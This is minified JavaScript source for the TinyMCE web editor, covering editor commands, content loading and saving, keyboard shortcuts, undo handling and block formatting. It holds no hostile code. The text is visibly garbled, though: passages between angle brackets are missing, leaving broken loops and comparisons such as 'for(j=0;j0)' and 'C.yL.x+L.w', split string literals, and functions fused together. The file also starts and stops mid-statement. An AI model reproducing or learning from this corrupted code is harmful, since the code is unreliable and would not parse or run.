true}u.parents.push(s)});q.onNodeChange.dispatch(q,u?u.controlManager||q.controlManager:q.controlManager,v,r.isCollapsed(),u)}},addButton:function(u,r){var q=this;q.buttons=q.buttons||{};q.buttons[u]=r},addCommand:function(q,s,r){this.execCommands[q]={func:s,scope:r||this}},addQueryStateHandler:function(q,s,r){this.queryStateCommands[q]={func:s,scope:r||this}},addQueryValueHandler:function(q,s,r){this.queryValueCommands[q]={func:s,scope:r||this}},addShortcut:function(s,v,q,u){var r=this,x;if(!r.settings.custom_shortcuts){return false}r.shortcuts=r.shortcuts||{};if(d(q,"string")){x=q;q=function(){r.execCommand(x,false,null)}}if(d(q,"object")){x=q;q=function(){r.execCommand(x[0],x[1],x[2])}}i(g(s),function(t){var y={func:q,scope:u||this,desc:v,alt:false,ctrl:false,shift:false};i(g(t,"+"),function(z){switch(z){case"alt":case"ctrl":case"shift":y[z]=true;break;default:y.charCode=z.charCodeAt(0);y.keyCode=z.toUpperCase().charCodeAt(0)}});r.shortcuts[(y.ctrl?"ctrl":"")+","+(y.alt?"alt":"")+","+(y.shift?"shift":"")+","+y.keyCode]=y});return true},execCommand:function(y,x,A,q){var u=this,v=0,z,r;if(!/^(mceAddUndoLevel|mceEndUndoLevel|mceBeginUndoLevel|mceRepaint|SelectAll)$/.test(y)&&(!q||!q.skip_focus)){u.focus()}q=f({},q);u.onBeforeExecCommand.dispatch(u,y,x,A,q);if(q.terminate){return false}if(u.execCallback("execcommand_callback",u.id,u.selection.getNode(),y,x,A)){u.onExecCommand.dispatch(u,y,x,A,q);return true}if(z=u.execCommands[y]){r=z.func.call(z.scope,x,A);if(r!==true){u.onExecCommand.dispatch(u,y,x,A,q);return r}}i(u.plugins,function(s){if(s.execCommand&&s.execCommand(y,x,A)){u.onExecCommand.dispatch(u,y,x,A,q);v=1;return false}});if(v){return true}if(u.theme&&u.theme.execCommand&&u.theme.execCommand(y,x,A)){u.onExecCommand.dispatch(u,y,x,A,q);return true}if(u.editorCommands.execCommand(y,x,A)){u.onExecCommand.dispatch(u,y,x,A,q);return true}u.getDoc().execCommand(y,x,A);u.onExecCommand.dispatch(u,y,x,A,q)},queryCommandState:function(v){var r=this,x,u;if(r._isHidden()){return}if(x=r.queryStateCommands[v]){u=x.func.call(x.scope);if(u!==true){return u}}x=r.editorCommands.queryCommandState(v);if(x!==-1){return x}try{return this.getDoc().queryCommandState(v)}catch(q){}},queryCommandValue:function(x){var r=this,v,u;if(r._isHidden()){return}if(v=r.queryValueCommands[x]){u=v.func.call(v.scope);if(u!==true){return u}}v=r.editorCommands.queryCommandValue(x);if(d(v)){return v}try{return this.getDoc().queryCommandValue(x)}catch(q){}},show:function(){var q=this;o.show(q.getContainer());o.hide(q.id);q.load()},hide:function(){var q=this,r=q.getDoc();if(b&&r){r.execCommand("SelectAll")}q.save();o.hide(q.getContainer());o.setStyle(q.id,"display",q.orgDisplay)},isHidden:function(){return !o.isHidden(this.id)},setProgressState:function(q,r,s){this.onSetProgressState.dispatch(this,q,r,s);return q},load:function(u){var q=this,s=q.getElement(),r;if(s){u=u||{};u.load=true;r=q.setContent(d(s.value)?s.value:s.innerHTML,u);u.element=s;if(!u.no_events){q.onLoadContent.dispatch(q,u)}u.element=s=null;return r}},save:function(v){var q=this,u=q.getElement(),r,s;if(!u||!q.initialized){return}v=v||{};v.save=true;if(!v.no_events){q.undoManager.typing=false;q.undoManager.add()}v.element=u;r=v.content=q.getContent(v);if(!v.no_events){q.onSaveContent.dispatch(q,v)}r=v.content;if(!/TEXTAREA|INPUT/i.test(u.nodeName)){u.innerHTML=r;if(s=o.getParent(q.id,"form")){i(s.elements,function(t){if(t.name==q.id){t.value=r;return false}})}}else{u.value=r}v.element=u=null;return r},setContent:function(v,t){var s=this,r,q=s.getBody(),u;t=t||{};t.format=t.format||"html";t.set=true;t.content=v;if(!t.no_events){s.onBeforeSetContent.dispatch(s,t)}v=t.content;if(!n.isIE&&(v.length===0||/^\s+$/.test(v))){u=s.settings.forced_root_block;if(u){v="<"+u+'>
    "}else{v='
    '}q.innerHTML=v;s.selection.select(q,true);s.selection.collapse(true);return}if(t.format!=="raw"){v=new n.html.Serializer({},s.schema).serialize(s.parser.parse(v))}t.content=n.trim(v);s.dom.setHTML(q,t.content);if(!t.no_events){s.onSetContent.dispatch(s,t)}s.selection.normalize();return t.content},getContent:function(r){var q=this,s;r=r||{};r.format=r.format||"html";r.get=true;if(!r.no_events){q.onBeforeGetContent.dispatch(q,r)}if(r.format=="raw"){s=q.getBody().innerHTML}else{s=q.serializer.serialize(q.getBody(),r)}r.content=n.trim(s);if(!r.no_events){q.onGetContent.dispatch(q,r)}return r.content},isDirty:function(){var q=this;return n.trim(q.startContent)!=n.trim(q.getContent({format:"raw",no_events:1}))&&!q.isNotDirty},getContainer:function(){var q=this;if(!q.container){q.container=o.get(q.editorContainer||q.id+"_parent")}return q.container},getContentAreaContainer:function(){return this.contentAreaContainer},getElement:function(){return o.get(this.settings.content_element||this.id)},getWin:function(){var q=this,r;if(!q.contentWindow){r=o.get(q.id+"_ifr");if(r){q.contentWindow=r.contentWindow}}return q.contentWindow},getDoc:function(){var r=this,q;if(!r.contentDocument){q=r.getWin();if(q){r.contentDocument=q.document}}return r.contentDocument},getBody:function(){return this.bodyElement||this.getDoc().body},convertURL:function(q,y,x){var r=this,v=r.settings;if(v.urlconverter_callback){return r.execCallback("urlconverter_callback",q,x,true,y)}if(!v.convert_urls||(x&&x.nodeName=="LINK")||q.indexOf("file:")===0){return q}if(v.relative_urls){return r.documentBaseURI.toRelative(q)}q=r.documentBaseURI.toAbsolute(q,v.remove_script_host);return q},addVisual:function(u){var q=this,r=q.settings;u=u||q.getBody();if(!d(q.hasVisual)){q.hasVisual=r.visual}i(q.dom.select("table,a",u),function(t){var s;switch(t.nodeName){case"TABLE":s=q.dom.getAttrib(t,"border");if(!s||s=="0"){if(q.hasVisual){q.dom.addClass(t,r.visual_table_class)}else{q.dom.removeClass(t,r.visual_table_class)}}return;case"A":s=q.dom.getAttrib(t,"name");if(s){if(q.hasVisual){q.dom.addClass(t,"mceItemAnchor")}else{q.dom.removeClass(t,"mceItemAnchor")}}return}});q.onVisualAid.dispatch(q,u,q.hasVisual)},remove:function(){var q=this,r=q.getContainer();q.removed=1;q.hide();q.execCallback("remove_instance_callback",q);q.onRemove.dispatch(q);q.onExecCommand.listeners=[];n.remove(q);o.remove(r)},destroy:function(r){var q=this;if(q.destroyed){return}if(!r){n.removeUnload(q.destroy);tinyMCE.onBeforeUnload.remove(q._beforeUnload);if(q.theme&&q.theme.destroy){q.theme.destroy()}q.controlManager.destroy();q.selection.destroy();q.dom.destroy();if(!q.settings.content_editable){k.clear(q.getWin());k.clear(q.getDoc())}k.clear(q.getBody());k.clear(q.formElement)}if(q.formElement){q.formElement.submit=q.formElement._mceOldSubmit;q.formElement._mceOldSubmit=null}q.contentAreaContainer=q.formElement=q.container=q.settings.content_element=q.bodyElement=q.contentDocument=q.contentWindow=null;if(q.selection){q.selection=q.selection.win=q.selection.dom=q.selection.dom.doc=null}q.destroyed=1},_addEvents:function(){var D=this,u,E=D.settings,r=D.dom,y={mouseup:"onMouseUp",mousedown:"onMouseDown",click:"onClick",keyup:"onKeyUp",keydown:"onKeyDown",keypress:"onKeyPress",submit:"onSubmit",reset:"onReset",contextmenu:"onContextMenu",dblclick:"onDblClick",paste:"onPaste"};function q(t,F){var s=t.type;if(D.removed){return}if(D.onEvent.dispatch(D,t,F)!==false){D[y[t.fakeType||t.type]].dispatch(D,t,F)}}i(y,function(t,s){switch(s){case"contextmenu":r.bind(D.getDoc(),s,q);break;case"paste":r.bind(D.getBody(),s,function(F){q(F)});break;case"submit":case"reset":r.bind(D.getElement().form||o.getParent(D.id,"form"),s,q);break;default:r.bind(E.content_editable?D.getBody():D.getDoc(),s,q)}});r.bind(E.content_editable?D.getBody():(a?D.getDoc():D.getWin()),"focus",function(s){D.focus(true)});if(n.isGecko){r.bind(D.getDoc(),"DOMNodeInserted",function(t){var s;t=t.target;if(t.nodeType===1&&t.nodeName==="IMG"&&(s=t.getAttribute("data-mce-src"))){t.src=D.documentBaseURI.toAbsolute(s)}})}if(a){function v(){var G=this,I=G.getDoc(),H=G.settings;if(a&&!H.readonly){G._refreshContentEditable();try{I.execCommand("styleWithCSS",0,false)}catch(F){if(!G._isHidden()){try{I.execCommand("useCSS",0,true)}catch(F){}}}if(!H.table_inline_editing){try{I.execCommand("enableInlineTableEditing",false,false)}catch(F){}}if(!H.object_resizing){try{I.execCommand("enableObjectResizing",false,false)}catch(F){}}}}D.onBeforeExecCommand.add(v);D.onMouseDown.add(v)}D.onMouseUp.add(D.nodeChanged);D.onKeyUp.add(function(s,t){var F=t.keyCode;if((F>=33&&F<=36)||(F>=37&&F<=40)||F==13||F==45||F==46||F==8||(n.isMac&&(F==91||F==93))||t.ctrlKey){D.nodeChanged()}});D.onKeyDown.add(function(t,F){if(F.keyCode!=j.BACKSPACE){return}var s=t.selection.getRng();if(!s.collapsed){return}var H=s.startContainer;var G=s.startOffset;while(H&&H.nodeType&&H.nodeType!=1&&H.parentNode){H=H.parentNode}if(H&&H.parentNode&&H.parentNode.tagName==="BLOCKQUOTE"&&H.parentNode.firstChild==H&&G==0){t.formatter.toggle("blockquote",null,H.parentNode);s.setStart(H,0);s.setEnd(H,0);t.selection.setRng(s);t.selection.collapse(false)}});D.onReset.add(function(){D.setContent(D.startContent,{format:"raw"})});if(E.custom_shortcuts){if(E.custom_undo_redo_keyboard_shortcuts){D.addShortcut("ctrl+z",D.getLang("undo_desc"),"Undo");D.addShortcut("ctrl+y",D.getLang("redo_desc"),"Redo")}D.addShortcut("ctrl+b",D.getLang("bold_desc"),"Bold");D.addShortcut("ctrl+i",D.getLang("italic_desc"),"Italic");D.addShortcut("ctrl+u",D.getLang("underline_desc"),"Underline");for(u=1;u<=6;u++){D.addShortcut("ctrl+"+u,"",["FormatBlock",false,"h"+u])}D.addShortcut("ctrl+7","",["FormatBlock",false,"p"]);D.addShortcut("ctrl+8","",["FormatBlock",false,"div"]);D.addShortcut("ctrl+9","",["FormatBlock",false,"address"]);function x(t){var s=null;if(!t.altKey&&!t.ctrlKey&&!t.metaKey){return s}i(D.shortcuts,function(F){if(n.isMac&&F.ctrl!=t.metaKey){return}else{if(!n.isMac&&F.ctrl!=t.ctrlKey){return}}if(F.alt!=t.altKey){return}if(F.shift!=t.shiftKey){return}if(t.keyCode==F.keyCode||(t.charCode&&t.charCode==F.charCode)){s=F;return false}});return s}D.onKeyUp.add(function(s,t){var F=x(t);if(F){return k.cancel(t)}});D.onKeyPress.add(function(s,t){var F=x(t);if(F){return k.cancel(t)}});D.onKeyDown.add(function(s,t){var F=x(t);if(F){F.func.call(F.scope);return k.cancel(t)}})}if(n.isIE){r.bind(D.getDoc(),"controlselect",function(F){var t=D.resizeInfo,s;F=F.target;if(F.nodeName!=="IMG"){return}if(t){r.unbind(t.node,t.ev,t.cb)}if(!r.hasClass(F,"mceItemNoResize")){ev="resizeend";s=r.bind(F,ev,function(H){var G;H=H.target;if(G=r.getStyle(H,"width")){r.setAttrib(H,"width",G.replace(/[^0-9%]+/g,""));r.setStyle(H,"width","")}if(G=r.getStyle(H,"height")){r.setAttrib(H,"height",G.replace(/[^0-9%]+/g,""));r.setStyle(H,"height","")}})}else{ev="resizestart";s=r.bind(F,"resizestart",k.cancel,k)}t=D.resizeInfo={node:F,ev:ev,cb:s}})}if(n.isOpera){D.onClick.add(function(s,t){k.prevent(t)})}if(E.custom_undo_redo){function A(){D.undoManager.typing=false;D.undoManager.add()}var z=n.isGecko?"blur":"focusout";r.bind(D.getDoc(),z,function(s){if(!D.removed&&D.undoManager.typing){A()}});D.dom.bind(D.dom.getRoot(),"dragend",function(s){A()});D.onKeyUp.add(function(s,F){var t=F.keyCode;if((t>=33&&t<=36)||(t>=37&&t<=40)||t==13||t==45||F.ctrlKey){A()}});D.onKeyDown.add(function(s,G){var F=G.keyCode,t;if(F==8){t=D.getDoc().selection;if(t&&t.createRange&&t.createRange().item){D.undoManager.beforeChange();s.dom.remove(t.createRange().item(0));A();return k.cancel(G)}}if((F>=33&&F<=36)||(F>=37&&F<=40)||F==13||F==45){if(n.isIE&&F==13){D.undoManager.beforeChange()}if(D.undoManager.typing){A()}return}if((F<16||F>20)&&F!=224&&F!=91&&!D.undoManager.typing){D.undoManager.beforeChange();D.undoManager.typing=true;D.undoManager.add()}});D.onMouseDown.add(function(){if(D.undoManager.typing){A()}})}if(n.isGecko){function C(){var s=D.dom.getAttribs(D.selection.getStart().cloneNode(false));return function(){var t=D.selection.getStart();if(t!==D.getBody()){D.dom.setAttrib(t,"style",null);i(s,function(F){t.setAttributeNode(F.cloneNode(true))})}}}function B(){var t=D.selection;return !t.isCollapsed()&&t.getStart()!=t.getEnd()}D.onKeyPress.add(function(s,F){var t;if((F.keyCode==8||F.keyCode==46)&&B()){t=C();D.getDoc().execCommand("delete",false,null);t();return k.cancel(F)}});D.dom.bind(D.getDoc(),"cut",function(t){var s;if(B()){s=C();D.onKeyUp.addToTop(k.cancel,k);setTimeout(function(){s();D.onKeyUp.remove(k.cancel,k)},0)}})}},_refreshContentEditable:function(){var r=this,q,s;if(r._isHidden()){q=r.getBody();s=q.parentNode;s.removeChild(q);s.appendChild(q);q.focus()}},_isHidden:function(){var q;if(!a){return 0}q=this.selection.getSel();return(!q||!q.rangeCount||q.rangeCount==0)}})})(tinymce);(function(c){var d=c.each,e,a=true,b=false;c.EditorCommands=function(n){var m=n.dom,p=n.selection,j={state:{},exec:{},value:{}},k=n.settings,q=n.formatter,o;function r(z,y,x){var v;z=z.toLowerCase();if(v=j.exec[z]){v(z,y,x);return a}return b}function l(x){var v;x=x.toLowerCase();if(v=j.state[x]){return v(x)}return -1}function h(x){var v;x=x.toLowerCase();if(v=j.value[x]){return v(x)}return b}function u(v,x){x=x||"exec";d(v,function(z,y){d(y.toLowerCase().split(","),function(A){j[x][A]=z})})}c.extend(this,{execCommand:r,queryCommandState:l,queryCommandValue:h,addCommands:u});function f(y,x,v){if(x===e){x=b}if(v===e){v=null}return n.getDoc().execCommand(y,x,v)}function t(v){return q.match(v)}function s(v,x){q.toggle(v,x?{value:x}:e)}function i(v){o=p.getBookmark(v)}function g(){p.moveToBookmark(o)}u({"mceResetDesignMode,mceBeginUndoLevel":function(){},"mceEndUndoLevel,mceAddUndoLevel":function(){n.undoManager.add()},"Cut,Copy,Paste":function(z){var y=n.getDoc(),v;try{f(z)}catch(x){v=a}if(v||!y.queryCommandSupported(z)){if(c.isGecko){n.windowManager.confirm(n.getLang("clipboard_msg"),function(A){if(A){open("http://www.mozilla.org/editor/midasdemo/securityprefs.html","_blank")}})}else{n.windowManager.alert(n.getLang("clipboard_no_support"))}}},unlink:function(v){if(p.isCollapsed()){p.select(p.getNode())}f(v);p.collapse(b)},"JustifyLeft,JustifyCenter,JustifyRight,JustifyFull":function(v){var x=v.substring(7);d("left,center,right,full".split(","),function(y){if(x!=y){q.remove("align"+y)}});s("align"+x);r("mceRepaint")},"InsertUnorderedList,InsertOrderedList":function(y){var v,x;f(y);v=m.getParent(p.getNode(),"ol,ul");if(v){x=v.parentNode;if(/^(H[1-6]|P|ADDRESS|PRE)$/.test(x.nodeName)){i();m.split(x,v);g()}}},"Bold,Italic,Underline,Strikethrough,Superscript,Subscript":function(v){s(v)},"ForeColor,HiliteColor,FontName":function(y,x,v){s(y,v)},FontSize:function(z,y,x){var v,A;if(x>=1&&x<=7){A=c.explode(k.font_size_style_values);v=c.explode(k.font_size_classes);if(v){x=v[x-1]||x}else{x=A[x-1]||x}}s(z,x)},RemoveFormat:function(v){q.remove(v)},mceBlockQuote:function(v){s("blockquote")},FormatBlock:function(y,x,v){return s(v||"p")},mceCleanup:function(){var v=p.getBookmark();n.setContent(n.getContent({cleanup:a}),{cleanup:a});p.moveToBookmark(v)},mceRemoveNode:function(z,y,x){var v=x||p.getNode();if(v!=n.getBody()){i();n.dom.remove(v,a);g()}},mceSelectNodeDepth:function(z,y,x){var v=0;m.getParent(p.getNode(),function(A){if(A.nodeType==1&&v++==x){p.select(A);return b}},n.getBody())},mceSelectNode:function(y,x,v){p.select(v)},mceInsertContent:function(B,I,K){var y,J,E,z,F,G,D,C,L,x,A,M,v,H;y=n.parser;J=new c.html.Serializer({},n.schema);v='\uFEFF';G={content:K,format:"html"};p.onBeforeSetContent.dispatch(p,G);K=G.content;if(K.indexOf("{$caret}")==-1){K+="{$caret}"}K=K.replace(/\{\$caret\}/,v);if(!p.isCollapsed()){n.getDoc().execCommand("Delete",false,null)}E=p.getNode();G={context:E.nodeName.toLowerCase()};F=y.parse(K,G);A=F.lastChild;if(A.attr("id")=="mce_marker"){D=A;for(A=A.prev;A;A=A.walk(true)){if(A.type==3||!m.isBlock(A.name)){A.parent.insert(D,A,A.name==="br");break}}}if(!G.invalid){K=J.serialize(F);A=E.firstChild;M=E.lastChild;if(!A||(A===M&&A.nodeName==="BR")){m.setHTML(E,K)}else{p.setContent(K)}}else{p.setContent(v);E=n.selection.getNode();z=n.getBody();if(E.nodeType==9){E=A=z}else{A=E}while(A!==z){E=A;A=A.parentNode}K=E==z?z.innerHTML:m.getOuterHTML(E);K=J.serialize(y.parse(K.replace(//i,function(){return J.serialize(F)})));if(E==z){m.setHTML(z,K)}else{m.setOuterHTML(E,K)}}D=m.get("mce_marker");C=m.getRect(D);L=m.getViewPort(n.getWin());if((C.y+C.h>L.y+L.h||C.yL.x+L.w||C.x")},mceToggleVisualAid:function(){n.hasVisual=!n.hasVisual;n.addVisual()},mceReplaceContent:function(y,x,v){n.execCommand("mceInsertContent",false,v.replace(/\{\$selection\}/g,p.getContent({format:"text"})))},mceInsertLink:function(z,y,x){var v;if(typeof(x)=="string"){x={href:x}}v=m.getParent(p.getNode(),"a");x.href=x.href.replace(" ","%20");if(!v||!x.href){q.remove("link")}if(x.href){q.apply("link",x,v)}},selectAll:function(){var x=m.getRoot(),v=m.createRng();v.setStart(x,0);v.setEnd(x,x.childNodes.length);n.selection.setRng(v)}});u({"JustifyLeft,JustifyCenter,JustifyRight,JustifyFull":function(z){var x="align"+z.substring(7);var v=p.isCollapsed()?[p.getNode()]:p.getSelectedBlocks();var y=c.map(v,function(A){return !!q.matchNode(A,x)});return c.inArray(y,a)!==-1},"Bold,Italic,Underline,Strikethrough,Superscript,Subscript":function(v){return t(v)},mceBlockQuote:function(){return t("blockquote")},Outdent:function(){var v;if(k.inline_styles){if((v=m.getParent(p.getStart(),m.isBlock))&&parseInt(v.style.paddingLeft)>0){return a}if((v=m.getParent(p.getEnd(),m.isBlock))&&parseInt(v.style.paddingLeft)>0){return a}}return l("InsertUnorderedList")||l("InsertOrderedList")||(!k.inline_styles&&!!m.getParent(p.getNode(),"BLOCKQUOTE"))},"InsertUnorderedList,InsertOrderedList":function(v){return m.getParent(p.getNode(),v=="insertunorderedlist"?"UL":"OL")}},"state");u({"FontSize,FontName":function(y){var x=0,v;if(v=m.getParent(p.getNode(),"span")){if(y=="fontsize"){x=v.style.fontSize}else{x=v.style.fontFamily.replace(/, /g,",").replace(/[\'\"]/g,"").toLowerCase()}}return x}},"value");if(k.custom_undo_redo){u({Undo:function(){n.undoManager.undo()},Redo:function(){n.undoManager.redo()}})}}})(tinymce);(function(b){var a=b.util.Dispatcher;b.UndoManager=function(f){var d,e=0,h=[],c;function g(){return b.trim(f.getContent({format:"raw",no_events:1}))}return d={typing:false,onAdd:new a(d),onUndo:new a(d),onRedo:new a(d),beforeChange:function(){c=f.selection.getBookmark(2,true)},add:function(m){var j,k=f.settings,l;m=m||{};m.content=g();l=h[e];if(l&&l.content==m.content){return null}if(h[e]){h[e].beforeBookmark=c}if(k.custom_undo_redo_levels){if(h.length>k.custom_undo_redo_levels){for(j=0;j0){k=h[--e];f.setContent(k.content,{format:"raw"});f.selection.moveToBookmark(k.beforeBookmark);d.onUndo.dispatch(d,k)}return k},redo:function(){var i;if(e0||this.typing},hasRedo:function(){return e');q.replace(p,m);o.select(p,1)}return g}return d}l.create("tinymce.ForceBlocks",{ForceBlocks:function(m){var n=this,o=m.settings,p;n.editor=m;n.dom=m.dom;p=(o.forced_root_block||"p").toLowerCase();o.element=p.toUpperCase();m.onPreInit.add(n.setup,n)},setup:function(){var n=this,m=n.editor,p=m.settings,u=m.dom,o=m.selection,q=m.schema.getBlockElements();if(p.forced_root_block){function v(){var y=o.getStart(),t=m.getBody(),s,z,D,F,E,x,A,B=-16777215;if(!y||y.nodeType!==1){return}while(y!=t){if(q[y.nodeName]){return}y=y.parentNode}s=o.getRng();if(s.setStart){z=s.startContainer;D=s.startOffset;F=s.endContainer;E=s.endOffset}else{if(s.item){s=m.getDoc().body.createTextRange();s.moveToElementText(s.item(0))}tmpRng=s.duplicate();tmpRng.collapse(true);D=tmpRng.move("character",B)*-1;if(!tmpRng.collapsed){tmpRng=s.duplicate();tmpRng.collapse(false);E=(tmpRng.move("character",B)*-1)-D}}for(y=t.firstChild;y;y){if(y.nodeType===3||(y.nodeType==1&&!q[y.nodeName])){if(!x){x=u.create(p.forced_root_block);y.parentNode.insertBefore(x,y)}A=y;y=y.nextSibling;x.appendChild(A)}else{x=null;y=y.nextSibling}}if(s.setStart){s.setStart(z,D);s.setEnd(F,E);o.setRng(s)}else{try{s=m.getDoc().body.createTextRange();s.moveToElementText(t);s.collapse(true);s.moveStart("character",D);if(E>0){s.moveEnd("character",E)}s.select()}catch(C){}}m.nodeChanged()}m.onKeyUp.add(v);m.onClick.add(v)}if(p.force_br_newlines){if(c){m.onKeyPress.add(function(s,t){var x;if(t.keyCode==13&&o.getNode().nodeName!="LI"){o.setContent('
    ',{format:"raw"});x=u.get("__");x.removeAttribute("id");o.select(x);o.collapse();return j.cancel(t)}})}}if(p.force_p_newlines){if(!c){m.onKeyPress.add(function(s,t){if(t.keyCode==13&&!t.shiftKey&&!n.insertPara(t)){j.cancel(t)}})}else{l.addUnload(function(){n._previousFormats=0});m.onKeyPress.add(function(s,t){n._previousFormats=0;if(t.keyCode==13&&!t.shiftKey&&s.selection.isCollapsed()&&p.keep_styles){n._previousFormats=k(s.selection.getStart())}});m.onKeyUp.add(function(t,y){if(y.keyCode==13&&!y.shiftKey){var x=t.selection.getStart(),s=n._previousFormats;if(!x.hasChildNodes()&&s){x=u.getParent(x,u.isBlock);if(x&&x.nodeName!="LI"){x.innerHTML="";if(n._previousFormats){x.appendChild(s.wrapper);s.inner.innerHTML="\uFEFF"}else{x.innerHTML="\uFEFF"}o.select(x,1);o.collapse(true);t.getDoc().execCommand("Delete",false,null);n._previousFormats=0}}}})}if(a){m.onKeyDown.add(function(s,t){if((t.keyCode==8||t.keyCode==46)&&!t.shiftKey){n.backspaceDelete(t,t.keyCode==8)}})}}if(l.isWebKit){function r(t){var s=o.getRng(),x,A=u.create("div",null," "),z,y=u.getViewPort(t.getWin()).h;s.insertNode(x=u.create("br"));s.setStartAfter(x);s.setEndAfter(x);o.setRng(s);if(o.getSel().focusNode==x.previousSibling){o.select(u.insertAfter(u.doc.createTextNode("\u00a0"),x));o.collapse(d)}u.insertAfter(A,x);z=u.getPos(A).y;u.remove(A);if(z>y){t.getWin().scrollTo(0,z)}}m.onKeyPress.add(function(s,t){if(t.keyCode==13&&(t.shiftKey||(p.force_br_newlines&&!u.getParent(o.getNode(),"h1,h2,h3,h4,h5,h6,ol,ul")))){r(s);j.cancel(t)}})}if(c){if(p.element!="P"){m.onKeyPress.add(function(s,t){n.lastElm=o.getNode().nodeName});m.onKeyUp.add(function(t,x){var z,y=o.getNode(),s=t.getBody();if(s.childNodes.length===1&&y.nodeName=="P"){y=u.rename(y,p.element);o.select(y);o.collapse();t.nodeChanged()}else{if(x.keyCode==13&&!x.shiftKey&&n.lastElm!="P"){z=u.getParent(y,"p");if(z){u.rename(z,p.element);t.nodeChanged()}}}})}}},getParentBlock:function(o){var m=this.dom;return m.getParent(o,m.isBlock)},insertPara:function(Q){var E=this,v=E.editor,M=v.dom,R=v.getDoc(),V=v.settings,F=v.selection.getSel(),G=F.getRangeAt(0),U=R.body;var J,K,H,O,N,q,o,u,z,m,C,T,p,x,I,L=M.getViewPort(v.getWin()),B,D,A;v.undoManager.beforeChange();J=R.createRange();J.setStart(F.anchorNode,F.anchorOffset);J.collapse(d);K=R.createRange();K.setStart(F.focusNode,F.focusOffset);K.collapse(d);H=J.compareBoundaryPoints(J.START_TO_END,K)<0;O=H?F.anchorNode:F.focusNode;N=H?F.anchorOffset:F.focusOffset;q=H?F.focusNode:F.anchorNode;o=H?F.focusOffset:F.anchorOffset;if(O===q&&/^(TD|TH)$/.test(O.nodeName)){if(O.firstChild.nodeName=="BR"){M.remove(O.firstChild)}if(O.childNodes.length==0){v.dom.add(O,V.element,null,"
    ");T=v.dom.add(O,V.element,null,"
    ")}else{I=O.innerHTML;O.innerHTML="";v.dom.add(O,V.element,null,I);T=v.dom.add(O,V.element,null,"
    ")}G=R.createRange();G.selectNodeContents(T);G.collapse(1);v.selection.setRng(G);return g}if(O==U&&q==U&&U.firstChild&&v.dom.isBlock(U.firstChild)){O=q=O.firstChild;N=o=0;J=R.createRange();J.setStart(O,0);K=R.createRange();K.setStart(q,0)}if(!R.body.hasChildNodes()){R.body.appendChild(M.create("br"))}O=O.nodeName=="HTML"?R.body:O;O=O.nodeName=="BODY"?O.firstChild:O;q=q.nodeName=="HTML"?R.body:q;q=q.nodeName=="BODY"?q.firstChild:q;u=E.getParentBlock(O);z=E.getParentBlock(q);m=u?u.nodeName:V.element;if(I=E.dom.getParent(u,"li,pre")){if(I.nodeName=="LI"){return e(v.selection,E.dom,I)}return d}if(u&&(u.nodeName=="CAPTION"||/absolute|relative|fixed/gi.test(M.getStyle(u,"position",1)))){m=V.element;u=null}if(z&&(z.nodeName=="CAPTION"||/absolute|relative|fixed/gi.test(M.getStyle(u,"position",1)))){m=V.element;z=null}if(/(TD|TABLE|TH|CAPTION)/.test(m)||(u&&m=="DIV"&&/left|right/gi.test(M.getStyle(u,"float",1)))){m=V.element;u=z=null}C=(u&&u.nodeName==m)?u.cloneNode(0):v.dom.create(m);T=(z&&z.nodeName==m)?z.cloneNode(0):v.dom.create(m);T.removeAttribute("id");if(/^(H[1-6])$/.test(m)&&f(G,u)){T=v.dom.create(V.element)}I=p=O;do{if(I==U||I.nodeType==9||E.dom.isBlock(I)||/(TD|TABLE|TH|CAPTION)/.test(I.nodeName)){break}p=I}while((I=I.previousSibling?I.previousSibling:I.parentNode));I=x=q;do{if(I==U||I.nodeType==9||E.dom.isBlock(I)||/(TD|TABLE|TH|CAPTION)/.test(I.nodeName)){break}x=I}while((I=I.nextSibling?I.nextSibling:I.parentNode));if(p.nodeName==m){J.setStart(p,0)}else{J.setStartBefore(p)}J.setEnd(O,N);C.appendChild(J.cloneContents()||R.createTextNode(""));try{K.setEndAfter(x)}catch(P){}K.setStart(q,o);T.appendChild(K.cloneContents()||R.createTextNode(""));G=R.createRange();if(!p.previousSibling&&p.parentNode.nodeName==m){G.setStartBefore(p.parentNode)}else{if(J.startContainer.nodeName==m&&J.startOffset==0){G.setStartBefore(J.startContainer)}else{G.setStart(J.startContainer,J.startOffset)}}if(!x.nextSibling&&x.parentNode.nodeName==m){G.setEndAfter(x.parentNode)}else{G.setEnd(K.endContainer,K.endOffset)}G.deleteContents();if(b){v.getWin().scrollTo(0,L.y)}if(C.firstChild&&C.firstChild.nodeName==m){C.innerHTML=C.firstChild.innerHTML}if(T.firstChild&&T.firstChild.nodeName==m){T.innerHTML=T.firstChild.innerHTML}function S(y,s){var r=[],X,W,t;y.innerHTML="";if(V.keep_styles){W=s;do{if(/^(SPAN|STRONG|B|EM|I|FONT|STRIKE|U)$/.test(W.nodeName)){X=W.cloneNode(g);M.setAttrib(X,"id","");r.push(X)}}while(W=W.parentNode)}if(r.length>0){for(t=r.length-1,X=y;t>=0;t--){X=X.appendChild(r[t])}r[0].innerHTML=b?"\u00a0":"
    ";return r[0]}else{y.innerHTML=b?"\u00a0":"
    "}}if(M.isEmpty(C)){S(C,O)}if(M.isEmpty(T)){A=S(T,q)}if(b&&parseFloat(opera.version())<9.5){G.insertNode(C);G.insertNode(T)}else{G.insertNode(T);G.insertNode(C)}T.normalize();C.normalize();v.selection.select(T,true);v.selection.collapse(true);B=v.dom.getPos(T).y;if(BL.y+L.h){v.getWin().scrollTo(0,B1||ab==at){return ab}}}var al=V.selection.getRng();var ap=al.startContainer;var ak=al.endContainer;if(ap!=ak&&al.endOffset==0){var ao=am(ap,ak);var an=ao.nodeType==3?ao.length:ao.childNodes.length;al.setEnd(ao,an)}return al}function Y(an,at,aq,ap,al){var ak=[],am=-1,ar,av=-1,ao=-1,au;P(an.childNodes,function(ax,aw){if(ax.nodeName==="UL"||ax.nodeName==="OL"){am=aw;ar=ax;return false}});P(an.childNodes,function(ax,aw){if(ax.nodeName==="SPAN"&&c.getAttrib(ax,"data-mce-type")=="bookmark"){if(ax.id==at.id+"_start"){av=aw}else{if(ax.id==at.id+"_end"){ao=aw}}}});if(am<=0||(avam)){P(a.grep(an.childNodes),al);return 0}else{au=aq.cloneNode(S);P(a.grep(an.childNodes),function(ax,aw){if((avam&&aw>am)){ak.push(ax);ax.parentNode.removeChild(ax)}});if(avam){an.insertBefore(au,ar.nextSibling)}}ap.push(au);P(ak,function(aw){au.appendChild(aw)});return au}}function ai(al,an,ap){var ak=[],ao,am;ao=ah.inline||ah.block;am=c.create(ao);W(am);K.walk(al,function(aq){var ar;function at(au){var 